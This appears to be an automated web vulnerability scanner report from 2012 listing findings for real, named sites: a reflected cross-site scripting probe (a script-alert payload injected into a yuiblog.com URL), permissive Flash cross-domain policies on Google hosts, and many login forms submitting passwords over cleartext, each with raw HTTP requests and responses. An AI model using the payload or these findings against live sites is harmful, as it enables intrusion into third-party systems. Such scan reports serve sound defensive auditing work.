Link: <http://www.yuiblog.com/blog/?p=2632>; rel=shortlink
Content-Type: text/html; charset=UTF-8
Age: 2
Connection: close
Server: YTS/1.19.11

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.org/xf
...[SNIP]...
<area shape='rect' coords='0,0,16,11' href='http://www.yuiblog.com/blog/index.php/2010/09/27/clearfix-reloaded-overflowhidden-demystified?359cf\'><script>alert(1)</script>f003df0decc=1' id='flag_en' title='English'/>
...[SNIP]...
2. Flash cross-domain policy
Previous  Next

There are 2 instances of this issue:

2.1. https://ajax.googleapis.com/crossdomain.xml
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   https://ajax.googleapis.com
Path:   /crossdomain.xml

Request

GET /crossdomain.xml HTTP/1.0
Host: ajax.googleapis.com

Response

HTTP/1.0 200 OK
Expires: Wed, 02 May 2012 00:08:28 GMT
Date: Tue, 01 May 2012 00:08:28 GMT
Cache-Control: public, max-age=86400
Content-Type: text/x-cross-domain-policy
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...
2.2. http://pagead2.googlesyndication.com/crossdomain.xml
Previous  Next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://pagead2.googlesyndication.com
Path:   /crossdomain.xml

Request

GET /crossdomain.xml HTTP/1.0
Host: pagead2.googlesyndication.com

Response

HTTP/1.0 200 OK
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"
Content-Type: text/x-cross-domain-policy; charset=UTF-8
Last-Modified: Thu, 15 Sep 2011 22:41:47 GMT
Date: Mon, 30 Apr 2012 21:42:42 GMT
Expires: Tue, 01 May 2012 21:42:42 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 8722
Cache-Control: public, max-age=86400

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="maps.gstatic.com" />
<allow-access-from domain="maps.gstatic.cn" />
<allow-access-from domain="*.googlesyndication.com" />
<allow-access-from domain="*.google.com" />
<allow-access-from domain="*.google.ae" />
<allow-access-from domain="*.google.at" />
<allow-access-from domain="*.google.be" />
<allow-access-from domain="*.google.ca" />
<allow-access-from domain="*.google.ch" />
<allow-access-from domain="*.google.cn" />
<allow-access-from domain="*.google.co.il" />
<allow-access-from domain="*.google.co.in" />
<allow-access-from domain="*.google.co.jp" />
<allow-access-from domain="*.google.co.kr" />
<allow-access-from domain="*.google.co.nz" />
<allow-access-from domain="*.google.co.uk" />
<allow-access-from domain="*.google.co.ve" />
<allow-access-from domain="*.google.co.za" />
<allow-access-from domain="*.google.com.ar" />
<allow-access-from domain="*.google.com.au" />
<allow-access-from domain="*.google.com.br" />
<allow-access-from domain="*.google.com.gr" />
<allow-access-from domain="*.google.com.hk" />
<allow-access-from domain="*.google.com.ly" />
<allow-access-from domain="*.google.com.mx" />
<allow-access-from domain="*.google.com.my" />
<allow-access-from domain="*.google.com.pe" />
<allow-access-from domain="*.google.com.ph" />
<allow-access-from domain="*.google.com.pk" />
<allow-access-from domain="*.google.com.ru" />
<allow-access-from domain="*.google.com.sg" />
<allow-access-from domain="*.google.com.tr" />
<allow-access-from domain="*.google.com.tw" />
<allow-access-from domain="*.google.com.ua" />
<allow-access-from domain="*.google.com.vn" />
<allow-access-from domain="*.google.de" />
<allow-access-from domain="*.google.dk" />
<allow-access-from domain="*.google.es" />
<allow-access-from domain="*.google.fi" />
<allow-access-from domain="*.google.fr" />
<allow-access-from domain="*.google.it" />
<allow-access-from domain="*.google.lt" />
<allow-access-from domain="*.google.lv" />
<allow-access-from domain="*.google.nl" />
<allow-access-from domain="*.google.no" />
<allow-access-from domain="*.google.pl" />
<allow-access-from domain="*.google.pt" />
<allow-access-from domain="*.google.ro" />
<allow-access-from domain="*.google.se" />
<allow-access-from domain="*.google.sk" />
<allow-access-from domain="*.youtube.com" />
<allow-access-from domain="*.ytimg.com" />
<allow-access-from domain="*.2mdn.net" />
<allow-access-from domain="*.doubleclick.net" />
<allow-access-from domain="*.doubleclick.com" />
...[SNIP]...
3. Cleartext submission of password
Previous  Next

There are 173 instances of this issue:

3.1. http://mail.flowja.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mail.flowja.com
Path:   /

Request

GET / HTTP/1.1
Host: mail.flowja.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Server: DManager
MIME-version: 1.0
Date: Tue, 01 May 2012 00:11:03 GMT
Set-Cookie: webmail_lang-mail.flowja.com=English; expires="Fri, 1-Jun-2012 00:11:03 GMT"; path=/; domain=mail.flowja.com
Set-Cookie: webmail_tpl-mail.flowja.com=surge; expires="Fri, 1-Jun-2012 00:11:03 GMT"; path=/; domain=mail.flowja.com
Set-Cookie: webmail_key-mail.flowja.com=; expires="Wed, 31-Dec-1969 19:00:00 GMT"; path=/; domain=mail.flowja.com
Set-Cookie: webmail_cookie-mail.flowja.com=works; expires="Fri, 1-Jun-2012 00:11:03 GMT"; path=/; domain=mail.flowja.com
Content-type: text/html
Content-length: 4422

<!-- Template Name: login.tpl -->

<html>
<!-- Including "meta.tpl" here -->
<!-- language == 'English' -->
   <meta http-equiv="Content-type" content="text/html; charset=iso-8859-1">
<!-- End of inc
...[SNIP]...
<body class="body" topmargin="0" onload="window.focus();document.loginform.user.focus();">
<form action="/scripts/webmail.exe" method="post" name="loginform">
<input type="hidden" name="cmd" value="login" />
...[SNIP]...
<td><input type="password" name="pass" /></td>
...[SNIP]...
3.2. http://mylearn.vmware.com/MgrReg/login.cfm
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mylearn.vmware.com
Path:   /MgrReg/login.cfm

Request

GET /MgrReg/login.cfm?ui=www_edu HTTP/1.1
Host: mylearn.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 04:22:12 GMT
Server: Microsoft-IIS/7.5
Content-Type: text/html; charset=utf-8
P3P: CP="CAO DSP COR CURa OTPa OUR NOR UNI STA"
Set-Cookie: REGUI=26;path=/
Set-Cookie: PORTAL_ALIAS=www;path=/
Connection: close
Content-Length: 29313


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head><script type="text/javascript" src="/CFIDE/scripts/cfform.js"
...[SNIP]...
<div id="content">


<form name="loginForm" action="/mgrReg/userMgmt.cfm" method="post">

<input type="hidden" name="mL_method" value="login" />
...[SNIP]...
<td><input type="password" name="password" size="38" maxlength="50" /></td>
...[SNIP]...
3.3. http://offlajn.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://offlajn.com
Path:   /

Request

GET / HTTP/1.1
Host: offlajn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Tue, 01 May 2012 00:11:08 GMT
Server: Apache/2.2.16 (Debian) DAV/2 SVN/1.6.12 PHP/5.3.3-7 with Suhosin-Patch
X-Powered-By: PHP/5.3.3-7
Set-Cookie: 10794994dd0d36daaa8270dbbe10760f=eff1cfc8f6f53b0d952c48befb242436; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: virtuemart=eff1cfc8f6f53b0d952c48befb242436
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 01 May 2012 00:11:09 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >

...[SNIP]...
<div id="login-container">
       <form action="/index.php" method="post" name="login" id="form-login" onsubmit="return false;">
        <div>
           <input id="modlgn-username" type="text" name="username" alt="username" />
           <input id="modlgn-passwd" type="password" name="passwd" alt="password" />
           </div>
...[SNIP]...
3.4. http://webspace.flowja.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://webspace.flowja.com
Path:   /

Request

GET / HTTP/1.1
Host: webspace.flowja.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:17 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9564

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" dir="LTR">
<head>
<meta http-equiv="Content-type" content="text/html; charset=iso
...[SNIP]...
</div>
           <form name="LoginForm" id="LoginForm" action="/index.php" method="post" onSubmit="return CheckInput(this);">
<!--
edit
-->
...[SNIP]...
<td><input type="password" size="18" class="input" name="password" value="" /></td>
...[SNIP]...
3.5. http://www.australiateachers.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.australiateachers.com
Path:   /

Request

GET / HTTP/1.1
Host: www.australiateachers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:53 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 28943

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>Teaching Jobs in Australia by AustraliaTeachers.com</title>
       
       <meta name="description" content="Resource that al
...[SNIP]...
<table border="0" width=125>
           <form action="http://my.australiateachers.com/index.phtml" method="post" name="login">
           <input type="hidden" name="a" value="lgi">
...[SNIP]...
<br>
               <input type="password" name="password" size=10 id="input1"></td>
...[SNIP]...
3.6. http://www.educationamerica.net/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationamerica.net
Path:   /

Request

GET / HTTP/1.1
Host: www.educationamerica.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:59 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 40020

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>Teaching Jobs in the United States - Education America Network</title>
   <meta name="description" content="Teach
...[SNIP]...
<table border="0" width=125>
           <form action="http://my.educationamerica.net/index.phtml" method="post" name="login">
           <input type="hidden" name="a" value="lgi">
...[SNIP]...
<br>
               <input type="password" name="password" size=10 id="input1"></td>
...[SNIP]...
3.7. http://www.educationcanada.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationcanada.com
Path:   /

Request

GET / HTTP/1.1
Host: www.educationcanada.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:13:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=2b0ori2scblu8ar4bvflrqldf5; path=/; domain=.educationcanada.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 38354


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>Teaching Jobs in Canada - powered by Education Canada Network</title>
       
       <meta name="description" content="Teach
...[SNIP]...
<table border="0" width=175>
           <form action="http://my.educationcanada.com/index.phtml" method="post" name="login">
           <input type="hidden" name="a" value="lgi">
...[SNIP]...
<br>
               <input type="password" name="password" size=10 id="input1"></td>
...[SNIP]...
3.8. http://www.educationjobfairs.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.educationjobfairs.com
Path:   /

Request

GET / HTTP/1.1
Host: www.educationjobfairs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=086gqoasi7pn4knvfg18h0pnm6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: tImg=1; expires=Tue, 01-May-2012 01:12:03 GMT; path=/; domain=.educationjobfairs.com
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 34778

<html>
<head>
<title>Online Education Job Fairs by EducationJobFairs.com</title>
   
   <meta name="keywords" content="online job fairs, teaching opportunities, teaching, teaching jobs, job fairs, educati
...[SNIP]...
<tr><form name="login" method="post" action="manager/index.phtml"><input type="hidden" name="action" value="login">
...[SNIP]...
<br><input type="password" name="upass" size="15"></td>
...[SNIP]...
3.9. http://www.flowja.com/cgi-bin/bmui.cgi
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.flowja.com
Path:   /cgi-bin/bmui.cgi

Request

GET /cgi-bin/bmui.cgi HTTP/1.1
Host: www.flowja.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:12:51 GMT
Server: Apache/2.0.52 (CentOS)
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2330

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-
...[SNIP]...
<div class="flow_content" align="center">
<form action=/cgi-bin/bmui.cgi method=POST name="Form">
<input type=hidden name="FORM" value="authenticate">
...[SNIP]...
<label>
<input name="bmui_d02" type=password class="input" size=20>
</label>
...[SNIP]...
3.10. http://www.supremecomputing.com/Default.aspx
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.supremecomputing.com
Path:   /Default.aspx

Request

POST /Default.aspx?Page=Login HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.supremecomputing.com/Default.aspx?Page=Login
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.supremecomputing.com
Content-Length: 503
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ASP.NET_SessionId=a4nrts55kla5yui4jhjenl55; wctag=showcaseid%3Dsymantecbtob%26module%3Dsymantecbtob%26url%3D%252F_wc%252Flandingpage%252Flandingpage.html%26origin%3Dshowcase

__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNjI5MjQ4MDM2D2QWAmYPZBYCAgMPZBYCZg9kFggCCQ8PFgIeBFRleHQFJypJbnZhbGlkIENyZWRlbnRpYWxzLiBQbGVhc2UgdHJ5IGFnYWluIWRkAgoPFgIeB1Zpc2libGVoZ
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 15:49:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 11267


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script type="text/javascript">
<!--
function changeImages()
{
for (v
...[SNIP]...
<body>
<form name="aspnetForm" method="post" action="Default.aspx?Page=Login" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />
<input name="ctl00$MainContentPlaceHolder$UserPass" type="password" id="ctl00_MainContentPlaceHolder_UserPass" style="width:200px;" /><br />
...[SNIP]...
3.11. http://www.supremecomputing.com/Register.aspx
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.supremecomputing.com
Path:   /Register.aspx

Request

GET /Register.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.supremecomputing.com/Default.aspx?Page=Login
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.supremecomputing.com
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=a4nrts55kla5yui4jhjenl55; wctag=showcaseid%3Dsymantecbtob%26module%3Dsymantecbtob%26url%3D%252F_wc%252Flandingpage%252Flandingpage.html%26origin%3Dshowcase

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 15:49:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 23782


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script type="text/javascript">
<!--
function changeImages()
{
for (v
...[SNIP]...
<body>
<form name="aspnetForm" method="post" action="Register.aspx" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<td>
<input name="ctl00$MainContentPlaceHolder$UserPass" type="password" maxlength="20" id="ctl00_MainContentPlaceHolder_UserPass" style="width:200px;" />
<span id="ctl00_MainContentPlaceHolder_RequireField3" style="color:#A80C35;font-family:Tahoma;font-size:8pt;font-weight:bold;display:none;">
...[SNIP]...
<td>
<input name="ctl00$MainContentPlaceHolder$PassConf" type="password" maxlength="20" id="ctl00_MainContentPlaceHolder_PassConf" style="width:200px;" />
<span id="ctl00_MainContentPlaceHolder_RequireField4" style="color:#A80C35;font-family:Tahoma;font-size:8pt;font-weight:bold;display:none;">
...[SNIP]...
3.12. http://www.supremecomputing.net/HK/Default.aspx
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.supremecomputing.net
Path:   /HK/Default.aspx

Request

GET /HK/Default.aspx?Page=Login HTTP/1.1
Host: www.supremecomputing.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.supremecomputing.net/HK/

Response

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 16:28:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 15310


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>
   Welcome to Sup
...[SNIP]...
<body>
<form name="aspnetForm" method="post" action="Default.aspx?Page=Login" onsubmit="javascript:return WebForm_OnSubmit();" id="aspnetForm">
<div>
...[SNIP]...
<br />
<input name="ctl00$MainContentBlock$UserPass" type="password" id="ctl00_MainContentBlock_UserPass" style="width:200px;" /><br />
...[SNIP]...
3.13. http://www.vmware.com/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /

Request

GET / HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335322233470%26s_id%3DAL6PP6A8PNPPRAP2PL88P2420LRL8A2JNH

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Vary: Accept-Encoding
Cache-Control: max-age=2584967
Date: Tue, 01 May 2012 03:38:55 GMT
Content-Length: 93238
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.14. http://www.vmware.com/a/webcasts/details/377
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /a/webcasts/details/377

Request

GET /a/webcasts/details/377 HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.0
Content-Type: text/html; charset=UTF-8
Expires: Tue, 01 May 2012 03:53:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 May 2012 03:53:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: webinars=e6ce0r67n9sggaqsrlj9qduju2; path=/
Set-Cookie: TSc99b3e=daa8d33689ce78043cc0841d5227d66eabb1f043c06b19c14f9f5e23; Path=/
Content-Length: 72598

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form" id="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password" /></div>
...[SNIP]...
3.15. http://www.vmware.com/ap/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /ap/

Request

GET /ap/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 78262


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.16. http://www.vmware.com/au/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /au/

Request

GET /au/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84459


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.17. http://www.vmware.com/ca/en/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /ca/en/

Request

GET /ca/en/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:53 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88663


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.18. http://www.vmware.com/cloud-computing/cloud-architecture/vcat-toolkit.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-computing/cloud-architecture/vcat-toolkit.html

Request

GET /cloud-computing/cloud-architecture/vcat-toolkit.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83640


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.19. http://www.vmware.com/cloud-computing/cloud-journey/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-computing/cloud-journey/overview.html

Request

GET /cloud-computing/cloud-journey/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:50:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88080


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.20. http://www.vmware.com/cloud-computing/private-cloud/datacenter-challenges.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /cloud-computing/private-cloud/datacenter-challenges.html

Request

GET /cloud-computing/private-cloud/datacenter-challenges.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
